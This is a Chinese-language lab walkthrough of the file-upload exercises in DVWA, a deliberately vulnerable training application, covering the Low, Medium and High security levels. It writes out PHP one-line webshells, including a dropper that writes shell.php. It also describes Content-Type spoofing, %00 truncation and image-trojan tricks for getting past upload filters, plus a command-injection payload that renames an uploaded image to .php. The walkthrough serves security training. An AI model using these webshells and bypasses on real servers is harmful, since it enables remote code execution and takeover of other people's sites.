目录
方法二:针对文件后缀过滤可以使用%00截断(适用于5.3.4以下的php版本)
准备工作:
1.一句话木马:
<?php @eval($_POST['pass']);?>
2.蚁剑
3.Burp Suite
Low
分析代码可知low级别没有进行任何过滤,我们可以直接上传.php文件
使用蚁剑连接
Medium
分析代码可知medium级别对content-type以及文件大小进行了过滤,要求为image/jpeg或image/png,我们可以使用Burp Suite抓包改content-type或使用%00进行文件截断(适用于5.3.4以下的php版本)
方法一:更改Content-Type类型
原类型为application/octet-stream,这里我们改为image/jpeg
成功上传后使用蚁剑连接
方法二:针对文件后缀过滤可以使用%00截断(适用于5.3.4以下的php版本)
将filename改为test.php.jpeg,再使用%00截断,并进行URL编码
这里的content-type因为是.jpeg文件,所以自动修改为image/jpeg了
再使用蚁剑连接
High
分析代码可知high级别使用白名单的方式进行文件类型过滤,只能是jpg、jpeg、png类型,我们可以使用windows的copy命令来制作图片木马
上传成功
因为上传的是静态文件, 这个时候我们使用蚁剑是连接不了的。有两种方法,第一种是使用命令执行漏洞将文件类型改为php,第二种是使用文件包含漏洞去执行我们上传的文件,执行后会自动生成一个php文件。
方法一:使用命令执行漏洞将文件类型改为php
输入以下代码
127.0.0.1|move ../../hackable/uploads/shell.png ../../hackable/uploads/shell.php
将图片木马文件类型改为php文件类型,成功后会显示以下结果
这时候我们使用蚁剑进行连接
方法二: 使用文件包含漏洞
此方法需要将一句话改为
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>
使木马有写功能
先把security等级跳到low,然后复制刚刚上传的路径,之后利用文件执行漏洞去执行我们的图片木马文件。
可以看到文件执行成功
来到文件包含文件夹下,生成了shell.php文件
使用蚁剑连接
总结:
DVWA里的文件上传过滤可以抓包修改content-type,也可以使用%00截断,还使用copy命令制作图片木马,然后使用命令执行或者文件包含漏洞getshell
还可以使用前端JS绕过,.htaccess文件上传,竞争条件文件上传等方法